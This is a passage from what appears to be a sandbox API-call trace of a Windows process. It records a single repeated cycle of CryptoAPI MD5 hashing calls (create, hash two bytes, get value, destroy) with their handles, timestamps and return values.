	[0095.695] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.695] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.695] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.695] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.695] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.695] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.695] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.695] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.695] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.696] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.696] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.696] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.696] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.696] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.696] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.696] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.696] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.696] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.696] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.696] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.696] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.696] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.697] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.697] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.697] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.697] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.697] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.697] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.697] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.697] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.697] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.697] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.697] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.697] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.697] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.697] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.698] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.698] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.698] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.698] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.698] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.698] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.698] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.698] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.698] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.698] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.698] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.698] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.698] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.698] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.698] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.699] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.699] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.699] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.699] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.699] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.699] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.699] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.699] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.699] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.699] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.699] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.699] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.699] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.700] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.700] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.700] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.700] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.700] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.700] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.700] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.700] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.700] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.700] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.700] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.700] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.701] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.701] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.701] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.701] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.701] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.701] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.701] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.701] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.701] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.701] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.701] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.701] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.701] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.701] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.702] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.702] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.702] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.702] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.702] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.702] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.702] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.702] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.702] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.702] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.702] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.702] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.702] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.703] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.703] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.703] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.703] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.703] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.703] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.703] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.703] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.703] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.703] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.703] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.703] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.703] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.703] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.703] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.704] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.704] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.704] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.704] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.704] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.704] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.704] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.704] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.704] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.704] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.704] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.704] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.705] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.705] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.705] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.705] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.705] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.705] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.705] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.705] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.705] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.705] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.705] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.705] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.705] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.707] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.707] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.707] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.707] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.707] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.707] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.707] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.707] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.707] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.707] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.707] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.707] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.707] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.707] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.707] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.708] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.708] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.708] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.708] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.708] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.708] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.708] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.708] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.708] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.708] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.708] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.708] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.708] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.709] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.709] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.709] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.709] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.709] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.709] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.709] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.709] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.709] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.709] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.709] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.709] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.709] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.710] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.710] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.710] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.710] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.710] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.710] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.710] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.710] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.710] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.710] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.710] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.710] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.710] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.711] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.711] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.711] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.711] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.711] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.711] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.711] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.711] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.711] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.711] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.711] CryptDestroyHash (hHash=0x34d8d0) returned 1
